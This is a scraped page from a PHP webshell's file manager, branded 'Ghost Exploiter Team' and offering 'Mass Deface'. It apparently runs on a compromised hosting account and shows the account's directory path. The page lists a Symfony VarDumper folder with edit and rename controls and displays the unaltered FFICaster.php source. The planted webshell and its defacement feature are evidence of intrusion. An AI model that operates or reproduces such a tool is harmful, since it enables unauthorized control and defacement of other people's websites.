webshell
Ghost Exploiter Team Official
Mass Deface
Directory >>
/
home
/
whitjouh
/
public_html
/
core
/
vendor
/
symfony
/
var-dumper
/
Caster
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
+New File
AmqpCaster.php
6.718KB
edt
ren
ArgsStub.php
2.244KB
edt
ren
Caster.php
6.727KB
edt
ren
ClassStub.php
3.756KB
edt
ren
ConstStub.php
0.723KB
edt
ren
CutArrayStub.php
0.68KB
edt
ren
CutStub.php
1.885KB
edt
ren
DOMCaster.php
9.35KB
edt
ren
DateCaster.php
4.938KB
edt
ren
DoctrineCaster.php
1.741KB
edt
ren
DsCaster.php
1.553KB
edt
ren
DsPairStub.php
0.61KB
edt
ren
EnumStub.php
0.622KB
edt
ren
ExceptionCaster.php
16.383KB
edt
ren
FFICaster.php
5.167KB
edt
ren
FiberCaster.php
1.073KB
edt
ren
FrameStub.php
0.723KB
edt
ren
GmpCaster.php
0.731KB
edt
ren
ImagineCaster.php
0.927KB
edt
ren
ImgStub.php
0.622KB
edt
ren
IntlCaster.php
8.903KB
edt
ren
LinkStub.php
3.287KB
edt
ren
MemcachedCaster.php
2.269KB
edt
ren
MysqliCaster.php
0.675KB
edt
ren
PdoCaster.php
3.544KB
edt
ren
PgSqlCaster.php
5.464KB
edt
ren
ProxyManagerCaster.php
0.74KB
edt
ren
RdKafkaCaster.php
4.97KB
edt
ren
RedisCaster.php
5.435KB
edt
ren
ReflectionCaster.php
15.217KB
edt
ren
ResourceCaster.php
3.071KB
edt
ren
ScalarStub.php
0.541KB
edt
ren
SplCaster.php
8.126KB
edt
ren
StubCaster.php
2.475KB
edt
ren
SymfonyCaster.php
3.686KB
edt
ren
TraceStub.php
0.941KB
edt
ren
UninitializedStub.php
0.601KB
edt
ren
UuidCaster.php
0.652KB
edt
ren
XmlReaderCaster.php
3.335KB
edt
ren
XmlResourceCaster.php
2.521KB
edt
ren
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\VarDumper\Caster; use FFI\CData; use FFI\CType; use Symfony\Component\VarDumper\Cloner\Stub; /** * Casts FFI extension classes to array representation. * * @author Nesmeyanov Kirill <nesk@xakep.ru> */ final class FFICaster { /** * In case of "char*" contains a string, the length of which depends on * some other parameter, then during the generation of the string it is * possible to go beyond the allowable memory area. * * This restriction serves to ensure that processing does not take * up the entire allowable PHP memory limit. */ private const MAX_STRING_LENGTH = 255; public static function castCTypeOrCData(CData|CType $data, array $args, Stub $stub): array { if ($data instanceof CType) { $type = $data; $data = null; } else { $type = \FFI::typeof($data); } $stub->class = sprintf('%s<%s> size %d align %d', ($data ?? $type)::class, $type->getName(), $type->getSize(), $type->getAlignment()); return match ($type->getKind()) { CType::TYPE_FLOAT, CType::TYPE_DOUBLE, \defined('\FFI\CType::TYPE_LONGDOUBLE') ? CType::TYPE_LONGDOUBLE : -1, CType::TYPE_UINT8, CType::TYPE_SINT8, CType::TYPE_UINT16, CType::TYPE_SINT16, CType::TYPE_UINT32, CType::TYPE_SINT32, CType::TYPE_UINT64, CType::TYPE_SINT64, CType::TYPE_BOOL, CType::TYPE_CHAR, CType::TYPE_ENUM => null !== $data ? [Caster::PREFIX_VIRTUAL.'cdata' => $data->cdata] : [], CType::TYPE_POINTER => self::castFFIPointer($stub, $type, $data), CType::TYPE_STRUCT => self::castFFIStructLike($type, $data), CType::TYPE_FUNC => self::castFFIFunction($stub, $type), default => $args, }; } private static function castFFIFunction(Stub $stub, CType $type): array { $arguments = []; for ($i = 0, $count = $type->getFuncParameterCount(); $i < $count; ++$i) { $param = $type->getFuncParameterType($i); $arguments[] = $param->getName(); } $abi = match ($type->getFuncABI()) { CType::ABI_DEFAULT, CType::ABI_CDECL => '[cdecl]', CType::ABI_FASTCALL => '[fastcall]', CType::ABI_THISCALL => '[thiscall]', CType::ABI_STDCALL => '[stdcall]', CType::ABI_PASCAL => '[pascal]', CType::ABI_REGISTER => '[register]', CType::ABI_MS => '[ms]', CType::ABI_SYSV => '[sysv]', CType::ABI_VECTORCALL => '[vectorcall]', default => '[unknown abi]' }; $returnType = $type->getFuncReturnType(); $stub->class = $abi.' callable('.implode(', ', $arguments).'): ' .$returnType->getName(); return [Caster::PREFIX_VIRTUAL.'returnType' => $returnType]; } private static function castFFIPointer(Stub $stub, CType $type, ?CData $data = null): array { $ptr = $type->getPointerType(); if (null === $data) { return [Caster::PREFIX_VIRTUAL.'0' => $ptr]; } return match ($ptr->getKind()) { CType::TYPE_CHAR => [Caster::PREFIX_VIRTUAL.'cdata' => self::castFFIStringValue($data)], CType::TYPE_FUNC => self::castFFIFunction($stub, $ptr), default => [Caster::PREFIX_VIRTUAL.'cdata' => $data[0]], }; } private static function castFFIStringValue(CData $data): string|CutStub { $result = []; for ($i = 0; $i < self::MAX_STRING_LENGTH; ++$i) { $result[$i] = $data[$i]; if ("\0" === $result[$i]) { return implode('', $result); } } $string = implode('', $result); $stub = new CutStub($string); $stub->cut = -1; $stub->value = $string; return $stub; } private static function castFFIStructLike(CType $type, ?CData $data = null): array { $isUnion = ($type->getAttributes() & CType::ATTR_UNION) === CType::ATTR_UNION; $result = []; foreach ($type->getStructFieldNames() as $name) { $field = $type->getStructFieldType($name); // Retrieving the value of a field from a union containing // a pointer is not a safe operation, because may contain // incorrect data. $isUnsafe = $isUnion && CType::TYPE_POINTER === $field->getKind(); if ($isUnsafe) { $result[Caster::PREFIX_VIRTUAL.$name.'?'] = $field; } elseif (null === $data) { $result[Caster::PREFIX_VIRTUAL.$name] = $field; } else { $fieldName = $data->{$name} instanceof CData ? '' : $field->getName().' '; $result[Caster::PREFIX_VIRTUAL.$fieldName.$name] = $data->{$name}; } } return $result; } }
<=Back
Liking